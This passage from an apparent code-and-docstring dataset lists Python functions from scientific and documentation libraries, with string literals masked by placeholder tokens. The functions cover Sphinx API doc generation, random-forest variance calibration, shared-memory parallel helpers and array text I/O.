dw._survives_exclude('sphinx.badmod', 'module')\n        False", "id": "f2494:c0:m11"}
{"signature": "def discover_modules(self):", "body": "modules = [self.package_name]<EOL>for dirpath, dirnames, filenames in os.walk(self.root_path):<EOL><INDENT>root_uri = self._path2uri(os.path.join(self.root_path,<EOL>dirpath))<EOL>filenames = [f[:-<NUM_LIT:3>] for f in filenames if<EOL>f.endswith('<STR_LIT>') and not f.startswith('<STR_LIT>')]<EOL>for filename in filenames:<EOL><INDENT>package_uri = '<STR_LIT:/>'.join((dirpath, filename))<EOL><DEDENT>for subpkg_name in dirnames + filenames:<EOL><INDENT>package_uri = '<STR_LIT:.>'.join((root_uri, subpkg_name))<EOL>package_path = self._uri2path(package_uri)<EOL>if (package_path and<EOL>self._survives_exclude(package_uri, '<STR_LIT>')):<EOL><INDENT>modules.append(package_uri)<EOL><DEDENT><DEDENT><DEDENT>return sorted(modules)<EOL>", "docstring": "Return module sequence discovered from ``self.package_name``\n\n\n        Parameters\n        ----------\n        None\n\n        Returns\n        -------\n        mods : sequence\n            Sequence of module names within ``self.package_name``\n\n        Examples\n        --------\n        >>> dw = ApiDocWriter('sphinx')\n        >>> mods = dw.discover_modules()\n        >>> 'sphinx.util' in mods\n        True\n        >>> dw.package_skip_patterns.append('\\.util$')\n        >>> 'sphinx.util' in dw.discover_modules()\n        False\n        >>>", "id": "f2494:c0:m12"}
{"signature": "def write_api_docs(self, outdir):", "body": "if not os.path.exists(outdir):<EOL><INDENT>os.mkdir(outdir)<EOL><DEDENT>modules = self.discover_modules()<EOL>self.write_modules_api(modules,outdir)<EOL>", "docstring": "Generate API reST files.\n\n        Parameters\n        ----------\n        outdir : string\n            Directory name in which to store files\n            We create automatic filenames for each module\n\n        Returns\n        -------\n        None\n\n        Notes\n        -----\n        Sets self.written_modules to list of written modules", "id": "f2494:c0:m14"}
{"signature": "def write_index(self, outdir, froot='<STR_LIT>', relative_to=None):", "body": "if self.written_modules is None:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>path = os.path.join(outdir, froot+self.rst_extension)<EOL>if relative_to is not None:<EOL><INDENT>relpath = (outdir + os.path.sep).replace(relative_to + os.path.sep, '<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>relpath = outdir<EOL><DEDENT>idx = open(path,'<STR_LIT>')<EOL>w = idx.write<EOL>w('<STR_LIT>')<EOL>title = \"<STR_LIT>\"<EOL>w(title + \"<STR_LIT:\\n>\")<EOL>w(\"<STR_LIT:=>\" * len(title) + \"<STR_LIT>\")<EOL>w('<STR_LIT>')<EOL>for f in self.written_modules:<EOL><INDENT>w('<STR_LIT>' % os.path.join(relpath,f))<EOL><DEDENT>idx.close()<EOL>", "docstring": "Make a reST API index file from written files\n\n        Parameters\n        ----------\n        path : string\n            Filename to write index to\n        outdir : string\n            Directory to which to write generated index file\n        froot : string, optional\n            root (filename without extension) of filename to write to\n            Defaults to 'gen'.  We add ``self.rst_extension``.\n        relative_to : string\n            path to which written filenames are relative.  This\n            component of the written file path will be removed from\n            outdir, in the generated index.  Default is None, meaning,\n            leave path as it is.", "id": "f2494:c0:m15"}
{"signature": "def calc_inbag(n_samples, forest):", "body": "if not forest.bootstrap:<EOL><INDENT>e_s = \"<STR_LIT>\"<EOL>e_s = \"<STR_LIT>\"<EOL>raise ValueError(e_s)<EOL><DEDENT>n_trees = forest.n_estimators<EOL>inbag = np.zeros((n_samples, n_trees))<EOL>sample_idx = []<EOL>for t_idx in range(n_trees):<EOL><INDENT>sample_idx.append(<EOL>_generate_sample_indices(forest.estimators_[t_idx].random_state,<EOL>n_samples))<EOL>inbag[:, t_idx] = np.bincount(sample_idx[-<NUM_LIT:1>], minlength=n_samples)<EOL><DEDENT>return inbag<EOL>", "docstring": "Derive samples used to create trees in scikit-learn RandomForest objects.\n\nRecovers the samples in each tree from the random state of that tree using\n:func:`forest._generate_sample_indices`.\n\nParameters\n----------\nn_samples : int\n    The number of samples used to fit the scikit-learn RandomForest object.\n\nforest : RandomForest\n    Regressor or Classifier object that is already fit by scikit-learn.\n\nReturns\n-------\nArray that records how many times a data point was placed in a tree.\nColumns are individual trees. Rows are the number of times a sample was\nused in a tree.", "id": "f2501:m0"}
{"signature": "def _bias_correction(V_IJ, inbag, pred_centered, n_trees):", "body": "n_train_samples = inbag.shape[<NUM_LIT:0>]<EOL>n_var = np.mean(np.square(inbag[<NUM_LIT:0>:n_trees]).mean(axis=<NUM_LIT:1>).T.view() -<EOL>np.square(inbag[<NUM_LIT:0>:n_trees].mean(axis=<NUM_LIT:1>)).T.view())<EOL>boot_var = np.square(pred_centered).sum(axis=<NUM_LIT:1>) / n_trees<EOL>bias_correction = n_train_samples * n_var * boot_var / n_trees<EOL>V_IJ_unbiased = V_IJ - bias_correction<EOL>return V_IJ_unbiased<EOL>", "docstring": "Helper functions that implements bias correction\n\nParameters\n----------\nV_IJ : ndarray\n    Intermediate result in the computation.\n\ninbag : ndarray\n    The inbag matrix that fit the data. If set to `None` (default) it\n    will be inferred from the forest. However, this only works for trees\n    for which bootstrapping was set to `True`. That is, if sampling was\n    done with replacement. Otherwise, users need to provide their own\n    inbag matrix.\n\npred_centered : ndarray\n    Centered predictions that are an intermediate result in the\n    computation.\n\nn_trees : int\n    The number of trees in the forest object.", "id": "f2501:m2"}
{"signature": "def gfit(X, sigma, p=<NUM_LIT:5>, nbin=<NUM_LIT:200>, unif_fraction=<NUM_LIT:0.1>):", "body": "min_x = min(min(X) - <NUM_LIT:2> * np.std(X, ddof=<NUM_LIT:1>), <NUM_LIT:0>)<EOL>max_x = max(max(X) + <NUM_LIT:2> * np.std(X, ddof=<NUM_LIT:1>),<EOL>np.std(X, ddof=<NUM_LIT:1>))<EOL>xvals = np.linspace(min_x, max_x, nbin)<EOL>binw = (max_x - min_x) / (nbin - <NUM_LIT:1>)<EOL>zero_idx = max(np.where(xvals <= <NUM_LIT:0>)[<NUM_LIT:0>])<EOL>noise_kernel = norm().pdf(xvals / sigma) * binw / sigma<EOL>if zero_idx > <NUM_LIT:0>:<EOL><INDENT>noise_rotate = noise_kernel[list(np.arange(zero_idx, len(xvals))) +<EOL>list(np.arange(<NUM_LIT:0>, zero_idx))]<EOL><DEDENT>else:<EOL><INDENT>noise_rotate = noise_kernel<EOL><DEDENT>XX = np.zeros((p, len(xvals)), dtype=np.float)<EOL>for ind, exp in enumerate(range(<NUM_LIT:1>, p+<NUM_LIT:1>)):<EOL><INDENT>mask = np.ones_like(xvals)<EOL>mask[np.where(xvals <= <NUM_LIT:0>)[<NUM_LIT:0>]] = <NUM_LIT:0><EOL>XX[ind, :] = pow(xvals, exp) * mask<EOL><DEDENT>XX = XX.T<EOL>def neg_loglik(eta):<EOL><INDENT>mask = np.ones_like(xvals)<EOL>mask[np.where(xvals <= <NUM_LIT:0>)[<NUM_LIT:0>]] = <NUM_LIT:0><EOL>g_eta_raw = np.exp(np.dot(XX, eta)) * mask<EOL>if ((np.sum(g_eta_raw) == np.inf) |<EOL>(np.sum(g_eta_raw) <=<EOL><NUM_LIT:100> * np.finfo(np.double).tiny)):<EOL><INDENT>return (<NUM_LIT:1000> * (len(X) + sum(eta ** <NUM_LIT:2>)))<EOL><DEDENT>g_eta_main = g_eta_raw / sum(g_eta_raw)<EOL>g_eta = ((<NUM_LIT:1> - unif_fraction) * g_eta_main +<EOL>unif_fraction * mask / sum(mask))<EOL>f_eta = fftconvolve(g_eta, noise_rotate, mode='<STR_LIT>')<EOL>return np.sum(np.interp(X, xvals,<EOL>-np.log(np.maximum(f_eta, <NUM_LIT>))))<EOL><DEDENT>eta_hat = minimize(neg_loglik,<EOL>list(itertools.repeat(-<NUM_LIT:1>, p))).x<EOL>g_eta_raw = np.exp(np.dot(XX, eta_hat)) * mask<EOL>g_eta_main = g_eta_raw / sum(g_eta_raw)<EOL>g_eta = ((<NUM_LIT:1> - unif_fraction) * g_eta_main +<EOL>unif_fraction * mask) / sum(mask)<EOL>return xvals, g_eta<EOL>", "docstring": "Fit empirical Bayes prior in the hierarchical model [Efron2014]_.\n\n.. math::\n\n    mu ~ G, X ~ N(mu, sigma^2)\n\nParameters\n----------\nX: ndarray\n    A 1D array of observations.\nsigma: float\n    Noise estimate on X.\np: int\n    Number of parameters used to fit G. Default: 5\nnbin: int\n    Number of bins used for discrete approximation.\n    Default: 200\nunif_fraction: float\n    Fraction of G modeled as \"slab\". Default: 0.1\n\nReturns\n-------\nAn array of the posterior density estimate g.", "id": "f2502:m0"}
{"signature": "def gbayes(x0, g_est, sigma):", "body": "Kx = norm().pdf((g_est[<NUM_LIT:0>] - x0) / sigma)<EOL>post = Kx * g_est[<NUM_LIT:1>]<EOL>post /= sum(post)<EOL>return sum(post * g_est[<NUM_LIT:0>])<EOL>", "docstring": "Estimate Bayes posterior with Gaussian noise [Efron2014]_.\n\nParameters\n----------\nx0: ndarray\n    an observation\ng_est: float\n    a prior density, as returned by gfit\nsigma: int\n    noise estimate\n\nReturns\n-------\nAn array of the posterior estimate E[mu | x0]", "id": "f2502:m1"}
{"signature": "def calibrateEB(variances, sigma2):", "body": "if (sigma2 <= <NUM_LIT:0> or min(variances) == max(variances)):<EOL><INDENT>return(np.maximum(variances, <NUM_LIT:0>))<EOL><DEDENT>sigma = np.sqrt(sigma2)<EOL>eb_prior = gfit(variances, sigma)<EOL>part = functools.partial(gbayes, g_est=eb_prior,<EOL>sigma=sigma)<EOL>if len(variances) >= <NUM_LIT:200>:<EOL><INDENT>calib_x = np.percentile(variances,<EOL>np.arange(<NUM_LIT:0>, <NUM_LIT>, <NUM_LIT:2>))<EOL>calib_y = list(map(part, calib_x))<EOL>calib_all = np.interp(variances, calib_x, calib_y)<EOL><DEDENT>else:<EOL><INDENT>calib_all = list(map(part, variances))<EOL><DEDENT>return np.asarray(calib_all)<EOL>", "docstring": "Calibrate noisy variance estimates with empirical Bayes.\n\nParameters\n----------\nvars: ndarray\n    List of variance estimates.\nsigma2: int\n    Estimate of the Monte Carlo noise in vars.\n\nReturns\n-------\nAn array of the calibrated variance estimates", "id": "f2502:m2"}
{"signature": "def _donothing_func(*args, **kwargs):", "body": "pass<EOL>", "docstring": "Perform no good and no bad", "id": "f2504:m0"}
{"signature": "def _donothing(self, *args, **kwargs):", "body": "pass<EOL>", "docstring": "Perform no good and no bad", "id": "f2504:c0:m0"}
{"signature": "def dcite(self, *args, **kwargs):", "body": "def nondecorating_decorator(func):<EOL><INDENT>return func<EOL><DEDENT>return nondecorating_decorator<EOL>", "docstring": "If I could cite I would", "id": "f2504:c0:m1"}
{"signature": "@staticmethod<EOL><INDENT>def parse(type: Type):<DEDENT>", "body": "def decorator(parser):<EOL><INDENT>EnvVar.parsers[type] = parser<EOL>return parser<EOL><DEDENT>return decorator<EOL>", "docstring": "Register a parser for a attribute type.\n\nParsers will be used to parse `str` type objects from either\nthe commandline arguments or environment variables.\n\nArgs:\n    type: the type the decorated function will be responsible\n        for parsing a environment variable to.", "id": "f2508:c2:m0"}
{"signature": "@staticmethod<EOL><INDENT>def status(s):<DEDENT>", "body": "print('<STR_LIT>'.format(s))<EOL>", "docstring": "Prints things in bold.", "id": "f2509:c0:m0"}
{"signature": "def repr_failure(self, excinfo):", "body": "return \"<STR_LIT>\".format(<EOL>excinfo,<EOL>self.indent(self.code),<EOL>excinfo.getrepr(funcargs=True, style='<STR_LIT>')<EOL>)<EOL>", "docstring": "called when self.runtest() raises an exception.", "id": "f2522:c1:m4"}
{"signature": "def flag(argument):", "body": "if argument and argument.strip():<EOL><INDENT>raise ValueError('<STR_LIT>' % argument)<EOL><DEDENT>else:<EOL><INDENT>return True<EOL><DEDENT>", "docstring": "Reimplement directives.flag to return True instead of None\n    Check for a valid flag option (no argument) and return ``None``.\n    (Directive option conversion function.)\n\n    Raise ``ValueError`` if an argument is found.", "id": "f2523:m0"}
{"signature": "def phrase_to_filename(self, phrase):", "body": "<EOL>name = re.sub(r\"<STR_LIT>\", '<STR_LIT>', phrase.strip().lower())<EOL>name = re.sub(r\"<STR_LIT>\", '<STR_LIT:_>', name)<EOL>return name + '<STR_LIT>'<EOL>", "docstring": "Convert phrase to normilized file name.", "id": "f2523:c1:m2"}
{"signature": "def backend_extras(*requirements):", "body": "return [\"<STR_LIT>\"] + list(requirements)<EOL>", "docstring": "Construct list of requirements for backend integration.\n\n    All built-in backends depend on PyOpenGL so add it as default requirement.", "id": "f2536:m3"}
{"signature": "def __init__(self, shape, cols=[]):", "body": "self._arrays = {}<EOL>self._names = []<EOL>self.shape = shape<EOL>for colname, value in cols:<EOL><INDENT>self.set(colname, value)<EOL><DEDENT>self._dtype = None<EOL>", "docstring": "cols is a list of (colname, values), shape has to be 1D.", "id": "f2538:c1:m0"}
{"signature": "def __init__(self, files, fetch):", "body": "self.files = files<EOL>self.fetch = fetch<EOL>self.pool = fetch(None)<EOL>", "docstring": "fetch is a method that takes \n              fetch(filename)\n\n            it shall read in the content of filename in ndarray\n            if fetch(None), returns an empty size=0 ndarray\n            with the same spec of the correct file\n\n\n            pool needs to support copy() and indexing.", "id": "f2540:c0:m0"}
{"signature": "def read(self, n):", "body": "while len(self.pool) < n:<EOL><INDENT>self.cur = self.files.next()<EOL>self.pool = numpy.append(self.pool,<EOL>self.fetch(self.cur), axis=<NUM_LIT:0>)<EOL><DEDENT>rt = self.pool[:n]<EOL>if n == len(self.pool):<EOL><INDENT>self.pool = self.fetch(None)<EOL><DEDENT>else:<EOL><INDENT>self.pool = self.pool[n:]<EOL><DEDENT>return rt<EOL>", "docstring": "return at most n array items, move the cursor.", "id": "f2540:c0:m2"}
{"signature": "def savetxt2(fname, X, delimiter='<STR_LIT:U+0020>', newline='<STR_LIT:\\n>', comment_character='<STR_LIT:#>',<EOL>header='<STR_LIT>', save_dtype=False, fmt={}):", "body": "prefixfmt = {}<EOL>for key in fmt:<EOL><INDENT>prefixfmt[key] = fmt[key]<EOL><DEDENT>olddtype = X.dtype<EOL>newdtype = flatten_dtype(numpy.dtype([('<STR_LIT>', (X.dtype, X.shape[<NUM_LIT:1>:]))]))<EOL>X = X.view(dtype=newdtype)<EOL>dtype = X.dtype<EOL>X = numpy.atleast_1d(X.squeeze())<EOL>header2 = _mkheader(dtype)<EOL>fmtstr = _mkfmtstr(dtype, prefixfmt, delimiter, _default_fmt)<EOL>if hasattr(fname, '<STR_LIT>'):<EOL><INDENT>fh = fname<EOL>cleanup = lambda : None<EOL><DEDENT>else:<EOL><INDENT>fh = file(fname, '<STR_LIT>')<EOL>cleanup = lambda : fh.close()<EOL><DEDENT>try:<EOL><INDENT>fh.write (header)<EOL>if header[:-<NUM_LIT:1>] != newline:<EOL><INDENT>fh.write(newline)<EOL><DEDENT>fh.write (comment_character)<EOL>fh.write ('<STR_LIT:!>')<EOL>fh.write (header2)<EOL>fh.write (delimiter)<EOL>fh.write ('<STR_LIT>' % len(X))<EOL>fh.write(newline)<EOL>if save_dtype:<EOL><INDENT>fh.write (comment_character)<EOL>fh.write ('<STR_LIT:?>')<EOL>fh.write (base64.b64encode(pickle.dumps(olddtype)))<EOL>fh.write (newline)<EOL><DEDENT>for row in X:<EOL><INDENT>fh.write(fmtstr % tuple(row))<EOL>fh.write(newline)<EOL><DEDENT>if hasattr(fh, '<STR_LIT>'):<EOL><INDENT>fh.flush()<EOL><DEDENT><DEDENT>finally:<EOL><INDENT>cleanup()<EOL><DEDENT>", "docstring": "format of table header:\n\n        # ID [type]:name(index) .... * number of items\n\n        user's header is not prefixed by comment_character\n\n        name of nested dtype elements are split by .", "id": "f2541:m0"}
{"signature": "def loadtxt2(fname, dtype=None, delimiter='<STR_LIT:U+0020>', newline='<STR_LIT:\\n>', comment_character='<STR_LIT:#>',<EOL>skiplines=<NUM_LIT:0>):", "body": "dtypert = [None, None, None]<EOL>def preparedtype(dtype):<EOL><INDENT>dtypert[<NUM_LIT:0>] = dtype<EOL>flatten = flatten_dtype(dtype)<EOL>dtypert[<NUM_LIT:1>] = flatten<EOL>dtypert[<NUM_LIT:2>] = numpy.dtype([('<STR_LIT:a>', (numpy.int8,<EOL>flatten.itemsize))])<EOL>buf = numpy.empty((), dtype=dtypert[<NUM_LIT:1>])<EOL>converters = [_default_conv[flatten[name].char] for name in flatten.names]<EOL>return buf, converters, flatten.names<EOL><DEDENT>def fileiter(fh):<EOL><INDENT>converters = []<EOL>buf = None<EOL>if dtype is not None:<EOL><INDENT>buf, converters, names = preparedtype(dtype)<EOL>yield None<EOL><DEDENT>for lineno, line in enumerate(fh):<EOL><INDENT>if lineno < skiplines: continue<EOL>if line[<NUM_LIT:0>] in comment_character:<EOL><INDENT>if buf is None and line[<NUM_LIT:1>] == '<STR_LIT:?>':<EOL><INDENT>ddtype = pickle.loads(base64.b64decode(line[<NUM_LIT:2>:]))<EOL>buf, converters, names = preparedtype(ddtype)<EOL>yield None<EOL><DEDENT>continue<EOL><DEDENT>for word, c, name in zip(line.split(), converters, names):<EOL><INDENT>buf[name] = c(word)<EOL><DEDENT>buf2 = buf.copy().view(dtype=dtypert[<NUM_LIT:2>])<EOL>yield buf2<EOL><DEDENT><DEDENT>if isinstance(fname, str):<EOL><INDENT>fh = file(fh, '<STR_LIT:r>')<EOL>cleanup = lambda : fh.close()<EOL><DEDENT>else:<EOL><INDENT>fh = iter(fname)<EOL>cleanup = lambda : None<EOL><DEDENT>try:<EOL><INDENT>i = fileiter(fh)<EOL>next(i)<EOL>return numpy.fromiter(i, dtype=dtypert[<NUM_LIT:2>]).view(dtype=dtypert[<NUM_LIT:0>]) <EOL><DEDENT>finally:<EOL><INDENT>cleanup()<EOL><DEDENT>", "docstring": "Known issues delimiter and newline is not respected. \n        string quotation with space is broken.", "id": "f2541:m1"}
{"signature": "def flatten_dtype(dtype, _next=None):", "body": "types = []<EOL>if _next is None: <EOL><INDENT>_next = [<NUM_LIT:0>, '<STR_LIT>']<EOL>primary = True<EOL><DEDENT>else:<EOL><INDENT>primary = False<EOL><DEDENT>prefix = _next[<NUM_LIT:1>]<EOL>if dtype.names is None:<EOL><INDENT>for i in numpy.ndindex(dtype.shape):<EOL><INDENT>if dtype.base == dtype:<EOL><INDENT>types.append(('<STR_LIT>' % (prefix, simplerepr(i)), dtype))<EOL>_next[<NUM_LIT:0>] += <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>_next[<NUM_LIT:1>] = '<STR_LIT>' % (prefix, simplerepr(i))<EOL>types.extend(flatten_dtype(dtype.base, _next))<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>for field in dtype.names:<EOL><INDENT>typ_fields = dtype.fields[field]<EOL>if len(prefix) > <NUM_LIT:0>:<EOL><INDENT>_next[<NUM_LIT:1>] = prefix + '<STR_LIT:.>' + field<EOL><DEDENT>else:<EOL><INDENT>_next[<NUM_LIT:1>] = '<STR_LIT>' + field<EOL><DEDENT>flat_dt = flatten_dtype(typ_fields[<NUM_LIT:0>], _next)<EOL>types.extend(flat_dt)<EOL><DEDENT><DEDENT>_next[<NUM_LIT:1>] = prefix<EOL>if primary:<EOL><INDENT>return numpy.dtype(types)<EOL><DEDENT>else:<EOL><INDENT>return types<EOL><DEDENT>", "docstring": "Unpack a structured data-type.", "id": "f2541:m8"}
{"signature": "def __init__(self, func, ins=None, outdtype=None, altreduce=None):", "body": "if isinstance(func, numpy.ufunc):<EOL><INDENT>self.ufunc = func<EOL>self.nin = func.nin<EOL>self.ins = (<NUM_LIT:0>, <NUM_LIT:1>, <NUM_LIT:2>, <NUM_LIT:3>)[:func.nin]<EOL>self.nout = func.nout<EOL>self.outdtype = None<EOL>self.altreduce = None<EOL><DEDENT>else:<EOL><INDENT>self.ufunc = func<EOL>self.nin = len(ins)<EOL>self.ins = ins<EOL>self.nout = <NUM_LIT:1><EOL>self.outdtype = outdtype<EOL>self.altreduce = altreduce<EOL><DEDENT>self.__doc__ = func.__doc__<EOL>if self.nout != <NUM_LIT:1>:<EOL><INDENT>raise TypeError(\"<STR_LIT>\")<EOL><DEDENT>", "docstring": "if func is not ufunc, a bit complicated:\n            ins tells which positional argument will be striped\n            after done, reducefunc is called on the results", "id": "f2542:c0:m0"}
{"signature": "def call(self, args, axis=<NUM_LIT:0>, out=None, chunksize=<NUM_LIT> * <NUM_LIT>, **kwargs):", "body": "if self.altreduce is not None:<EOL><INDENT>ret = [None]<EOL><DEDENT>else:<EOL><INDENT>if out is None :<EOL><INDENT>if self.outdtype is not None:<EOL><INDENT>dtype = self.outdtype<EOL><DEDENT>else:<EOL><INDENT>try:<EOL><INDENT>dtype = numpy.result_type(*[args[i] for i in self.ins] * <NUM_LIT:2>)<EOL><DEDENT>except:<EOL><INDENT>dtype = None<EOL><DEDENT><DEDENT>out = sharedmem.empty(<EOL>numpy.broadcast(*[args[i] for i in self.ins] * <NUM_LIT:2>).shape,<EOL>dtype=dtype)<EOL><DEDENT><DEDENT>if axis != <NUM_LIT:0>:<EOL><INDENT>for i in self.ins:<EOL><INDENT>args[i] = numpy.rollaxis(args[i], axis)<EOL><DEDENT>out = numpy.rollaxis(out, axis)<EOL><DEDENT>size = numpy.max([len(args[i]) for i in self.ins])<EOL>with sharedmem.MapReduce() as pool:<EOL><INDENT>def work(i):<EOL><INDENT>sl = slice(i, i+chunksize)<EOL>myargs = args[:]<EOL>for j in self.ins:<EOL><INDENT>try: <EOL><INDENT>tmp = myargs[j][sl]<EOL>a, b, c = sl.indices(len(args[j]))<EOL>myargs[j] = tmp<EOL><DEDENT>except Exception as e:<EOL><INDENT>print(tmp)<EOL>print(j, e)<EOL>pass<EOL><DEDENT><DEDENT>if b == a: return None<EOL>rt = self.ufunc(*myargs, **kwargs)<EOL>if self.altreduce is not None:<EOL><INDENT>return rt<EOL><DEDENT>else:<EOL><INDENT>out[sl] = rt<EOL><DEDENT><DEDENT>def reduce(rt):<EOL><INDENT>if self.altreduce is None:<EOL><INDENT>return<EOL><DEDENT>if ret[<NUM_LIT:0>] is None:<EOL><INDENT>ret[<NUM_LIT:0>] = rt<EOL><DEDENT>elif rt is not None:<EOL><INDENT>ret[<NUM_LIT:0>] = self.altreduce(ret[<NUM_LIT:0>], rt)<EOL><DEDENT><DEDENT>pool.map(work, list(range(<NUM_LIT:0>, size, chunksize)), reduce=reduce)<EOL><DEDENT>if self.altreduce is None:<EOL><INDENT>if axis != <NUM_LIT:0>:<EOL><INDENT>out = numpy.rollaxis(out, <NUM_LIT:0>, axis + <NUM_LIT:1>)<EOL><DEDENT>return out                <EOL><DEDENT>else:<EOL><INDENT>return ret[<NUM_LIT:0>]<EOL><DEDENT>", "docstring": "axis is the axis to chop it off.\n            if self.altreduce is set, the results will\n            be reduced with altreduce and returned\n            otherwise will be saved to out, then return out.", "id": "f2542:c0:m3"}
{"signature": "def __new__(cls, array, start=None, end=None):", "body": "self = array.view(type=cls)<EOL>if end is None and start is None:<EOL><INDENT>start = numpy.array([len(arr) for arr in array], dtype='<STR_LIT>')<EOL>array = numpy.concatenate(array)<EOL><DEDENT>if end is None:<EOL><INDENT>sizes = start<EOL>self.start = numpy.zeros(shape=len(sizes), dtype='<STR_LIT>')<EOL>self.end = numpy.zeros(shape=len(sizes), dtype='<STR_LIT>')<EOL>self.end[:] = sizes.cumsum()<EOL>self.start[<NUM_LIT:1>:] = self.end[:-<NUM_LIT:1>]<EOL><DEDENT>else:<EOL><INDENT>self.start = start<EOL>self.end = end<EOL><DEDENT>self.A = array<EOL>return self<EOL>", "docstring": "if end is none, start contains the sizes. \n            if start is also none, array is a list of arrays to concatenate", "id": "f2542:c1:m0"}
{"signature": "@classmethod<EOL><INDENT>def adapt(cls, source, template):<DEDENT>", "body": "if not isinstance(template, packarray):<EOL><INDENT>raise TypeError('<STR_LIT>')<EOL><DEDENT>return cls(source, template.start, template.end)<EOL>", "docstring": "adapt source to a packarray according to the layout of template", "id": "f2542:c1:m1"}
{"signature": "def argsort(data, out=None, chunksize=None, <EOL>baseargsort=None, <EOL>argmerge=None, np=None):", "body": "if baseargsort is None:<EOL><INDENT>baseargsort = lambda x:x.argsort()<EOL><DEDENT>if argmerge is None:<EOL><INDENT>argmerge = default_argmerge<EOL><DEDENT>if chunksize is None:<EOL><INDENT>chunksize = <NUM_LIT> * <NUM_LIT> * <NUM_LIT:16><EOL><DEDENT>if out is None:<EOL><INDENT>arg1 = numpy.empty(len(data), dtype='<STR_LIT>')<EOL>out = arg1<EOL><DEDENT>else:<EOL><INDENT>assert out.dtype == numpy.dtype('<STR_LIT>')<EOL>assert len(out) == len(data)<EOL>arg1 = out<EOL><DEDENT>if np is None:<EOL><INDENT>np = sharedmem.cpu_count()<EOL><DEDENT>if np <= <NUM_LIT:1> or len(data) < chunksize: <EOL><INDENT>out[:] = baseargsort(data)<EOL>return out<EOL><DEDENT>CHK = [slice(i, i + chunksize) for i in range(<NUM_LIT:0>, len(data), chunksize)]<EOL>DUMMY = slice(len(data), len(data))<EOL>if len(CHK) % <NUM_LIT:2>: CHK.append(DUMMY)<EOL>with sharedmem.TPool() as pool:<EOL><INDENT>def work(i):<EOL><INDENT>C = CHK[i]<EOL>start, stop, step = C.indices(len(data))<EOL>arg1[C] = baseargsort(data[C])<EOL>arg1[C] += start<EOL><DEDENT>pool.map(work, range(len(CHK)))<EOL><DEDENT>arg2 = numpy.empty_like(arg1)<EOL>flip = <NUM_LIT:0><EOL>while len(CHK) > <NUM_LIT:1>:<EOL><INDENT>with sharedmem.TPool() as pool:<EOL><INDENT>def work(i):<EOL><INDENT>C1 = CHK[i]<EOL>C2 = CHK[i+<NUM_LIT:1>]<EOL>start1, stop1, step1 = C1.indices(len(data))<EOL>start2, stop2, step2 = C2.indices(len(data))<EOL>assert start2 == stop1<EOL>argmerge(data, arg1[C1], arg1[C2], arg2[start1:stop2])<EOL>return slice(start1, stop2)<EOL><DEDENT>CHK = pool.map(work, range(<NUM_LIT:0>, len(CHK), <NUM_LIT:2>))<EOL>arg1, arg2 = arg2, arg1<EOL>flip = flip + <NUM_LIT:1><EOL><DEDENT>if len(CHK) == <NUM_LIT:1>: break<EOL>if len(CHK) % <NUM_LIT:2>: CHK.append(DUMMY)<EOL><DEDENT>if flip % <NUM_LIT:2> != <NUM_LIT:0>:<EOL><INDENT>out[:] = arg1<EOL><DEDENT>return out<EOL>", "docstring": "parallel argsort, like numpy.argsort\n\nuse sizeof(intp) * len(data) as scratch space\n\nuse baseargsort for serial sort \n    ind = baseargsort(data)\n\nuse argmerge to merge\n    def argmerge(data, A, B, out):\n        ensure data[out] is sorted\n        and out[:] = A join B\n\nTODO: shall try to use the inplace merge mentioned in \n       http://keithschwarz.com/interesting/code/?dir=inplace-merge.", "id": "f2543:m1"}
{"signature": "def set_debug(flag):", "body": "global __shmdebug__<EOL>__shmdebug__ = flag<EOL>", "docstring": "Set the debug mode.\n\n        In debug mode (flag==True), the MapReduce pool will\n        run the work function on the master thread / process.\n        This ensures all exceptions can be properly inspected by \n        a debugger, e.g. pdb.\n\n        Parameters\n        ----------\n        flag : boolean\n            True for debug mode, False for production mode.", "id": "f2546:m0"}
{"signature": "def get_debug():", "body": "global __shmdebug__<EOL>return __shmdebug__<EOL>", "docstring": "Get the debug mode.\n\n        Returns\n        -------\n        The debug mode. True if currently in debugging mode.", "id": "f2546:m1"}
{"signature": "def total_memory():", "body": "with file('<STR_LIT>', '<STR_LIT:r>') as f:<EOL><INDENT>for line in f:<EOL><INDENT>words = line.split()<EOL><DEDENT>if words[<NUM_LIT:0>].upper() == '<STR_LIT>':<EOL><INDENT>return int(words[<NUM_LIT:1>]) * <NUM_LIT><EOL><DEDENT><DEDENT>raise IOError('<STR_LIT>')<EOL>", "docstring": "Returns the the amount of memory available for use.\n\n        The memory is obtained from MemTotal entry in /proc/meminfo.\n\n        Notes\n        =====\n        This function is not very useful and not very portable.", "id": "f2546:m2"}
{"signature": "def cpu_count():", "body": "num = os.getenv(\"<STR_LIT>\")<EOL>if num is None:<EOL><INDENT>num = os.getenv(\"<STR_LIT>\")<EOL><DEDENT>try:<EOL><INDENT>return int(num)<EOL><DEDENT>except:<EOL><INDENT>return multiprocessing.cpu_count()<EOL><DEDENT>", "docstring": "Returns the default number of slave processes to be spawned.\n\n        The default value is the number of physical cpu cores seen by python.\n        :code:`OMP_NUM_THREADS` environment variable overrides it.\n\n        On PBS/torque systems if OMP_NUM_THREADS is empty, we try to\n        use the value of :code:`PBS_NUM_PPN` variable.\n\n        Notes\n        -----\n        On some machines the physical number of cores does not equal\n        the number of cpus shall be used. PSC Blacklight for example.", "id": "f2546:m3"}
{"signature": "def MapReduceByThread(np=None):", "body": "return MapReduce(backend=ThreadBackend, np=np)<EOL>", "docstring": "Creates a MapReduce object but with the Thread backend.\n\n        The process backend is usually preferred.", "id": "f2546:m4"}
{"signature": "def empty_like(array, dtype=None):", "body": "array = numpy.asarray(array)<EOL>if dtype is None: <EOL><INDENT>dtype = array.dtype<EOL><DEDENT>return anonymousmemmap(array.shape, dtype)<EOL>", "docstring": "Create a shared memory array from the shape of array.", "id": "f2546:m5"}
{"signature": "def empty(shape, dtype='<STR_LIT>'):", "body": "return anonymousmemmap(shape, dtype)<EOL>", "docstring": "Create an empty shared memory array.", "id": "f2546:m6"}
{"signature": "def full_like(array, value, dtype=None):", "body": "shared = empty_like(array, dtype)<EOL>shared[:] = value<EOL>return shared<EOL>", "docstring": "Create a shared memory array with the same shape and type as a given array, filled with `value`.", "id": "f2546:m7"}
{"signature": "def full(shape, value, dtype='<STR_LIT>'):", "body": "shared = empty(shape, dtype)<EOL>shared[:] = value<EOL>return shared<EOL>", "docstring": "Create a shared memory array of given shape and type, filled with `value`.", "id": "f2546:m8"}
